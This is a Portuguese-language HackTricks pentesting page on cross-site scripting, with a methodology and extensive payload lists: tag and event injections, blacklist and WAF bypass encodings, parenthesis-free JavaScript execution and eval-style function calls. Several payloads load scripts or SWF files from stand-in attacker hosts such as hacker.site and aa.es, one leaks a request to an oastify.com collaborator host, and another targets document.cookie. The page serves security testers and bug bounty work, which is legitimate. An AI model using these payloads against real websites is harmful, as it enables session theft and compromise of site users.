hacktricks/pentesting-web/xss-cross-site-scripting
2024-01-01 19:42:29 +00:00
..
abusing-service-workers.md Translated ['generic-methodologies-and-resources/exfiltration.md', 'gene 2023-09-03 01:19:04 +00:00
chrome-cache-to-xss.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
debugging-client-side-js.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
dom-clobbering.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
dom-invader.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
dom-xss.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
iframes-in-xss-and-csp.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
js-hoisting.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
other-js-tricks.md GitBook: No commit message 2023-08-29 18:57:50 +00:00
pdf-injection.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
README.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
server-side-xss-dynamic-pdf.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
shadow-dom.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
sniff-leak.md Translated ['pentesting-web/dangling-markup-html-scriptless-injection/ss 2024-01-01 19:42:29 +00:00
some-same-origin-method-execution.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
steal-info-js.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
xss-in-markdown.md Translated to Portuguese 2023-06-06 18:56:34 +00:00
xss-tools.md Translated to Portuguese 2023-06-06 18:56:34 +00:00

XSS (Cross Site Scripting)

/

Dica de recompensa por bugs: inscreva-se no Intigriti, uma plataforma premium de recompensa por bugs criada por hackers, para hackers! Junte-se a nós em https://go.intigriti.com/hacktricks hoje, e comece a ganhar recompensas de até $100,000!

{% embed url="https://go.intigriti.com/hacktricks" %}

Metodologia

  1. Verifique se qualquer valor que você controla (parâmetros, caminho, cabeçalhos?, cookies?) está sendo refletido no HTML ou usado pelo código JS.
  2. Encontre o contexto onde está refletido/usado.
  3. Se refletido
    1. Verifique quais símbolos você pode usar e, dependendo disso, prepare o payload:
      1. Em HTML puro:
        1. Você pode criar novas tags HTML?
        2. Você pode usar eventos ou atributos que suportam o protocolo javascript:?
        3. Você pode contornar proteções?
        4. O conteúdo HTML está sendo interpretado por algum motor JS do lado do cliente (AngularJS, VueJS, Mavo...), você poderia abusar de uma Injeção de Template do Lado do Cliente.
        5. Se você não pode criar tags HTML que executam código JS, você poderia abusar de uma Marcação Pendente - Injeção sem scripts HTML?
      2. Dentro de uma tag HTML:
        1. Você pode sair para o contexto de HTML puro?
        2. Você pode criar novos eventos/atributos para executar código JS?
        3. O atributo onde você está preso suporta execução de JS?
        4. Você pode contornar proteções?
      3. Dentro do código JavaScript:
        1. Você pode escapar da tag <script>?
        2. Você pode sair da string e executar um código JS diferente?
        3. Sua entrada está em literais de template ``?
        4. Você pode contornar proteções?
    2. Função JavaScript sendo executada
      1. Você pode indicar o nome da função a ser executada. Ex.: ?callback=alert(1)
  4. Se usado:
    1. Você poderia explorar um DOM XSS, preste atenção em como sua entrada é controlada e se sua entrada controlada é usada por algum sink.

Ao trabalhar em um XSS complexo, você pode achar interessante saber sobre:

{% content-ref url="debugging-client-side-js.md" %} debugging-client-side-js.md {% endcontent-ref %}

Valores refletidos

Para explorar com sucesso um XSS, a primeira coisa que você precisa encontrar é um valor controlado por você que está sendo refletido na página web.

  • Refletido imediatamente: Se você descobrir que o valor de um parâmetro ou até mesmo o caminho está sendo refletido na página web, você poderia explorar um XSS Refletido.
  • Armazenado e refletido: Se você descobrir que um valor controlado por você é salvo no servidor e refletido toda vez que você acessa uma página, você poderia explorar um XSS Armazenado.
  • Acessado via JS: Se você descobrir que um valor controlado por você está sendo acessado usando JS, você poderia explorar um DOM XSS.

Contextos

Ao tentar explorar um XSS, a primeira coisa que você precisa saber é onde sua entrada está sendo refletida. Dependendo do contexto, você poderá executar código JS arbitrário de diferentes maneiras.

HTML Puro

Se sua entrada é refletida no HTML puro da página, você precisará abusar de alguma tag HTML para executar código JS: <img , <iframe , <svg , <script ... estas são apenas algumas das muitas possíveis tags HTML que você poderia usar.
Além disso, lembre-se da Injeção de Template do Lado do Cliente.

Dentro do atributo de tags HTML

Se sua entrada é refletida dentro do valor do atributo de uma tag, você poderia tentar:

  1. Escapar do atributo e da tag (então você estará no HTML puro) e criar uma nova tag HTML para abusar: "><img [...]
  2. Se você pode escapar do atributo, mas não da tag (> é codificado ou excluído), dependendo da tag, você poderia criar um evento que executa código JS: " autofocus onfocus=alert(1) x="
  3. Se você não pode escapar do atributo (" é codificado ou excluído), então dependendo de qual atributo seu valor está sendo refletido e se você controla todo o valor ou apenas uma parte você poderá abusá-lo. Por exemplo, se você controla um evento como onclick= você poderá fazê-lo executar código arbitrário quando clicado. Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"
  4. Se sua entrada é refletida dentro de tags "não exploráveis", você poderia tentar o truque do accesskey para abusar da vulnerabilidade (você precisará de algum tipo de engenharia social para explorar isso): " accesskey="x" onclick="alert(1)" x="

Dentro do código JavaScript

Neste caso, sua entrada é refletida entre as tags <script> [...] </script> de uma página HTML, dentro de um arquivo .js ou dentro de um atributo usando o protocolo javascript::

  • Se refletido entre as tags <script> [...] </script>, mesmo que sua entrada esteja dentro de qualquer tipo de aspas, você pode tentar injetar </script> e escapar deste contexto. Isso funciona porque o navegador primeiro analisa as tags HTML e depois o conteúdo, portanto, não perceberá que sua tag </script> injetada está dentro do código HTML.
  • Se refletido dentro de uma string JS e o último truque não está funcionando, você precisará sair da string, executar seu código e reconstruir o código JS (se houver algum erro, ele não será executado:
    • '-alert(1)-'
    • ';-alert(1)//
    • \';alert(1)//
  • Se refletido dentro de literais de template, você pode incorporar expressões JS usando a sintaxe ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Codificação Unicode funciona para escrever código javascript válido:
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Elevação de Javascript

Elevação de Javascript refere-se à oportunidade de declarar funções, variáveis ou classes depois de serem usadas, para que você possa abusar de cenários onde um XSS está utilizando variáveis ou funções não declaradas.
Confira a seguinte página para mais informações:

{% content-ref url="js-hoisting.md" %} js-hoisting.md {% endcontent-ref %}

Função Javascript

Várias páginas da web têm endpoints que aceitam como parâmetro o nome da função a ser executada. Um exemplo comum de se ver na prática é algo como: ?callback=callbackFunc.

Uma boa maneira de descobrir se algo fornecido diretamente pelo usuário está tentando ser executado é modificando o valor do parâmetro (por exemplo, para 'Vulnerable') e procurando no console por erros como:

Caso esteja vulnerável, você poderia ser capaz de disparar um alerta apenas enviando o valor: ?callback=alert(1). No entanto, é muito comum que esses endpoints validem o conteúdo para permitir apenas letras, números, pontos e sublinhados ([\w\._]).

No entanto, mesmo com essa limitação, ainda é possível realizar algumas ações. Isso porque você pode usar esses caracteres válidos para acessar qualquer elemento no DOM:

Algumas funções úteis para isso:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Você também pode tentar acionar funções Javascript diretamente: obj.sales.delOrders.

No entanto, geralmente os endpoints que executam a função indicada são endpoints sem um DOM interessante, outras páginas na mesma origem terão um DOM mais interessante para realizar mais ações.

Portanto, para abusar dessa vulnerabilidade em um DOM diferente, a exploração Same Origin Method Execution (SOME) foi desenvolvida:

{% content-ref url="some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

DOM

código JS que está usando inseguramente alguns dados controlados por um atacante como location.href. Um atacante poderia abusar disso para executar código JS arbitrário.

{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}

Universal XSS

Esse tipo de XSS pode ser encontrado em qualquer lugar. Eles não dependem apenas da exploração do cliente de uma aplicação web, mas em qualquer contexto. Esse tipo de execução arbitrária de JavaScript pode até ser abusado para obter RCE, ler arquivos arbitrários em clientes e servidores, e mais.
Alguns exemplos:

{% content-ref url="server-side-xss-dynamic-pdf.md" %} server-side-xss-dynamic-pdf.md {% endcontent-ref %}

{% content-ref url="../../network-services-pentesting/pentesting-web/electron-desktop-apps/" %} electron-desktop-apps {% endcontent-ref %}

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injetando dentro do HTML bruto

Quando sua entrada é refletida dentro da página HTML ou você pode escapar e injetar código HTML neste contexto, a primeira coisa que você precisa fazer é verificar se pode abusar de < para criar novas tags: Apenas tente refletir esse caractere e verifique se ele está sendo codificado em HTML ou deletado ou se é refletido sem alterações. Apenas no último caso você poderá explorar este caso.
Para esses casos também lembre-se Client Side Template Injection.
Nota: Um comentário HTML pode ser fechado usando** --> ou ****--!>**

Neste caso e se nenhum sistema de lista negra/branca estiver sendo usado, você poderia usar payloads como:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

Mas, se estiver sendo usada uma lista de permissões/negações de tags/atributos, você precisará forçar a descoberta de quais tags pode criar.
Uma vez que você tenha localizado quais tags são permitidas, será necessário forçar a descoberta de atributos/eventos dentro das tags válidas encontradas para ver como você pode atacar o contexto.

Força bruta em Tags/Eventos

Acesse https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clique em Copiar tags para a área de transferência. Em seguida, envie todas elas usando o Burp Intruder e verifique se alguma tag não foi descoberta como maliciosa pelo WAF. Uma vez que você tenha descoberto quais tags pode usar, você pode forçar a descoberta de todos os eventos usando as tags válidas (na mesma página da web, clique em Copiar eventos para a área de transferência e siga o mesmo procedimento anterior).

Tags personalizadas

Se você não encontrar nenhuma tag HTML válida, você poderia tentar criar uma tag personalizada e executar código JS com o atributo onfocus. Na requisição XSS, você precisa terminar a URL com # para fazer a página focar naquele objeto e executar o código:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Bypass de Lista Negra

Se algum tipo de lista negra estiver sendo usada, você pode tentar contorná-la com alguns truques simples:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Bypass de comprimento (pequenos XSS)

{% hint style="info" %} Mais payloads de XSS pequenos para diferentes ambientes podem ser encontrados aqui e aqui. {% endhint %}

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

O último está usando 2 caracteres unicode que se expandem para 5: telsr
Mais desses caracteres podem ser encontrados aqui.
Para verificar em quais caracteres são decompostos, consulte aqui.

Click XSS - Clickjacking

Se, para explorar a vulnerabilidade, você precisar que o usuário clique em um link ou um formulário com dados pré-preenchidos, você poderia tentar abusar do Clickjacking (se a página for vulnerável).

Impossível - Dangling Markup

Se você acha que é impossível criar uma tag HTML com um atributo para executar código JS, você deve verificar Dangling Markup porque você poderia explorar a vulnerabilidade sem executar código JS.

Injetando dentro da tag HTML

Dentro da tag/escapando do valor do atributo

Se você está dentro de uma tag HTML, a primeira coisa que você poderia tentar é escapar da tag e usar algumas das técnicas mencionadas na seção anterior para executar código JS.
Se você não pode escapar da tag, você poderia criar novos atributos dentro da tag para tentar executar código JS, por exemplo, usando algum payload como (note que neste exemplo aspas duplas são usadas para escapar do atributo, você não precisará delas se sua entrada for refletida diretamente dentro da tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventos de estilo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dentro do atributo

Mesmo que você não possa escapar do atributo (" está sendo codificado ou excluído), dependendo de qual atributo seu valor está sendo refletido se você controla todo o valor ou apenas uma parte você será capaz de abusar dele. Por exemplo, se você controla um evento como onclick= você poderá fazê-lo executar código arbitrário quando for clicado.
Outro exemplo interessante é o atributo href, onde você pode usar o protocolo javascript: para executar código arbitrário: href="javascript:alert(1)"

Bypass dentro do evento usando codificação HTML/codificação de URL

Os caracteres codificados em HTML dentro do valor dos atributos das tags HTML são decodificados em tempo de execução. Portanto, algo como o seguinte será válido (o payload está em negrito): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Voltar </a>

Note que qualquer tipo de codificação HTML é válido:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Observe que a codificação de URL também funcionará:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass dentro do evento usando codificação Unicode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolos Especiais Dentro do Atributo

Você pode usar os protocolos javascript: ou data: em alguns lugares para executar código JS arbitrário. Alguns exigirão interação do usuário e outros não.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Locais onde você pode injetar esses protocolos

Em geral, o protocolo javascript: pode ser usado em qualquer tag que aceite o atributo href e na maioria das tags que aceitam o atributo src (mas não <img)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Outros truques de ofuscação

Neste caso, a codificação HTML e o truque de codificação Unicode da seção anterior também são válidos, pois você está dentro de um atributo.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Além disso, há outro truque interessante para esses casos: Mesmo que sua entrada dentro de javascript:... esteja sendo codificada para URL, ela será decodificada antes de ser executada. Então, se você precisar escapar da string usando uma aspas simples e perceber que está sendo codificada para URL, lembre-se de que não importa, ela será interpretada como uma aspas simples durante o tempo de execução.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Observe que se você tentar usar ambos URLencode + HTMLencode em qualquer ordem para codificar o payload, isso não funcionará, mas você pode misturá-los dentro do payload.

Usando codificação Hex e Octal com javascript:

Você pode usar a codificação Hex e Octal dentro do atributo src de iframe (pelo menos) para declarar tags HTML para executar JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse Tab Nabbing em Português

<a target="_blank" rel="opener"

Se você puder injetar qualquer URL em uma tag <a href= arbitrária que contém os atributos target="_blank" e rel="opener", verifique a página a seguir para explorar esse comportamento:

{% content-ref url="../reverse-tab-nabbing.md" %} reverse-tab-nabbing.md {% endcontent-ref %}

Bypass de Manipuladores de Eventos "on"

Primeiro, verifique esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para encontrar manipuladores de eventos "on" úteis.
Caso haja alguma lista negra impedindo você de criar esses manipuladores de eventos, você pode tentar os seguintes bypasses:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

De aqui é agora possível abusar de inputs ocultos com:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

E em meta tags:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

De aqui: Você pode executar um payload XSS dentro de um atributo oculto, desde que você consiga persuadir a vítima a pressionar a combinação de teclas. No Firefox Windows/Linux a combinação de teclas é ALT+SHIFT+X e no OS X é CTRL+ALT+X. Você pode especificar uma combinação de teclas diferente usando uma chave diferente no atributo de chave de acesso. Aqui está o vetor:

<input type="hidden" accesskey="X" onclick="alert(1)">

O payload XSS será algo como isto: " accesskey="x" onclick="alert(1)" x="

Bypasses de Lista Negra

Vários truques usando diferentes codificações já foram expostos nesta seção. Volte para aprender onde você pode usar:

  • Codificação HTML (tags HTML)
  • Codificação Unicode (pode ser código JS válido): \u0061lert(1)
  • Codificação de URL
  • Codificação Hex e Octal
  • Codificação de dados

Bypasses para tags e atributos HTML

Leia os Bypasses de Lista Negra da seção anterior.

Bypasses para código JavaScript

Leia o bypass de lista negra JavaScript da seção seguinte.

CSS-Gadgets

Se você encontrou um XSS em uma parte muito pequena da web que requer algum tipo de interação (talvez um pequeno link no rodapé com um elemento onmouseover), você pode tentar modificar o espaço que esse elemento ocupa para maximizar as probabilidades de ativar o link.

Por exemplo, você poderia adicionar um estilo no elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Mas, se o WAF estiver filtrando o atributo style, você pode usar CSS Styling Gadgets, então se você encontrar, por exemplo

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Agora você pode modificar nosso link e trazê-lo para a forma

<a href=”” id=someid class=test onclick=alert() a=””>

Este truque foi retirado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injetando dentro de código JavaScript

Nestes casos, sua entrada será refletida dentro do código JS de um arquivo .js ou entre tags <script>...</script> ou entre eventos HTML que podem executar código JS ou entre atributos que aceitam o protocolo javascript:.

Escapando da tag <script>

Se o seu código for inserido dentro de <script> [...] var input = 'dados refletidos' [...] </script>, você poderia facilmente escapar fechando a tag <script>:

</script><img src=1 onerror=alert(document.domain)>

Note que neste exemplo não fechamos sequer a aspa simples, mas isso não é necessário, pois o navegador primeiro realiza a análise HTML para identificar os elementos da página, incluindo blocos de script, e só depois realiza a análise JavaScript para entender e executar os scripts incorporados.

Dentro do código JS

Se <> estiverem sendo sanitizados, você ainda pode escapar da string onde sua entrada está sendo localizada e executar JS arbitrário. É importante corrigir a sintaxe JS, porque se houver erros, o código JS não será executado:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Literais de modelo (Template literals) ``

Para construir strings além de aspas simples e duplas, JS também aceita crases `. Isso é conhecido como literais de modelo, pois permitem incorporar expressões JS usando a sintaxe ${ ... }.
Portanto, se você descobrir que sua entrada está sendo refletida dentro de uma string JS que está usando crases, você pode abusar da sintaxe ${ ... } para executar código JS arbitrário:

Isso pode ser abusado usando:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

Execução de código codificado

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Execução de JS codificado em Unicode

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Técnicas de bypass de listas negras em JavaScript

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escapes especiais

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

Substituições de espaço dentro do código JS

<TAB>
/**/

Comentários em JavaScript (do truque Comentários em JavaScript )

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Quebras de linha em JavaScript (do truque Quebras de linha em JavaScript )

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

Espaços em branco em JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dentro de um comentário

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sem parênteses

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Chamada de função arbitrária (alert)

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
